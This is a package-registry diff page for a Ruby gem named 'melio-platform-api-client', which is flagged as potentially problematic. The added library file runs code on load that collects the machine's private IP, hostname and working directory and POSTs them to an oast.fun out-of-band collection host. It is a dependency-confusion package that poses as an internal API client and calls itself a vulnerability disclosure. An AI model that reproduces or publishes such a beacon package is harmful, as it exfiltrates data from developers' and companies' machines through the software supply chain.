melio-platform-api-client 4.4.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of melio-platform-api-client might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/melio-platform-api-client.rb +28 -0
- metadata +43 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 59532ba6fb9d6260dce268082448b86d5899b355ab15deb4961302109c193202
|
4
|
+
data.tar.gz: 6e2679db1df5368ca9b61c0f743835f0af3aaba6f3844a2d7bfe5f586de4893f
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 6f2cf25971afe552f9932774fa90908c61ee55e2cfb5fb7b399674fdd1ea0d67693b8c39a0d81a766da627fd3b1268683f4e735726d777bf8285b7cebc6dfd51
|
7
|
+
data.tar.gz: e4c1f032bf6d395e92d9676180e0fc52c1328b43adb8c8133ebf56c1ad188b411c970b1e6f8d92da7e969179635e251a83ab1783b7c0d6631bb48aaaae93bcfa
|
@@ -0,0 +1,28 @@
|
|
1
|
+
module melio-platform-api-client
|
2
|
+
|
3
|
+
require 'json'
|
4
|
+
require 'net/http'
|
5
|
+
require 'socket'
|
6
|
+
|
7
|
+
#Private IP
|
8
|
+
privip = UDPSocket.open {|s| s.connect("64.233.187.99", 1); s.addr.last}
|
9
|
+
#Hostname
|
10
|
+
hostname = Socket.gethostname
|
11
|
+
#Current directory
|
12
|
+
dir = Dir.pwd
|
13
|
+
|
14
|
+
#Pubcli bin url:- https://pipedream.com OR burpCollaborate url
|
15
|
+
uri = URI('https://drwaleunfbsozqlydyns54s0blvmcxb7s.oast.fun')
|
16
|
+
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
17
|
+
|
18
|
+
req.body = {
|
19
|
+
private_ip: privip,
|
20
|
+
hostname: hostname,
|
21
|
+
current_directory: dir
|
22
|
+
}.to_json
|
23
|
+
|
24
|
+
Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
|
25
|
+
http.request(req)
|
26
|
+
end
|
27
|
+
|
28
|
+
end
|
metadata
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: melio-platform-api-client
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 4.4.4
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- bytex
|
8
|
+
autorequire:
|
9
|
+
bindir: bin
|
10
|
+
cert_chain: []
|
11
|
+
date: 2024-07-26 00:00:00.000000000 Z
|
12
|
+
dependencies: []
|
13
|
+
description: This Ruby package vulnerable to dependency confiuse vulnerability
|
14
|
+
email: bytexattacker@gmail.com
|
15
|
+
executables: []
|
16
|
+
extensions: []
|
17
|
+
extra_rdoc_files: []
|
18
|
+
files:
|
19
|
+
- lib/melio-platform-api-client.rb
|
20
|
+
homepage: https://rubygems.org/gems/melio-platform-api-client
|
21
|
+
licenses:
|
22
|
+
- MIT
|
23
|
+
metadata: {}
|
24
|
+
post_install_message:
|
25
|
+
rdoc_options: []
|
26
|
+
require_paths:
|
27
|
+
- lib
|
28
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
29
|
+
requirements:
|
30
|
+
- - ">="
|
31
|
+
- !ruby/object:Gem::Version
|
32
|
+
version: '0'
|
33
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
34
|
+
requirements:
|
35
|
+
- - ">="
|
36
|
+
- !ruby/object:Gem::Version
|
37
|
+
version: '0'
|
38
|
+
requirements: []
|
39
|
+
rubygems_version: 3.4.19
|
40
|
+
signing_key:
|
41
|
+
specification_version: 4
|
42
|
+
summary: 'Vulnerability Disclosure: Dependency confiuse vulnerability'
|
43
|
+
test_files: []
|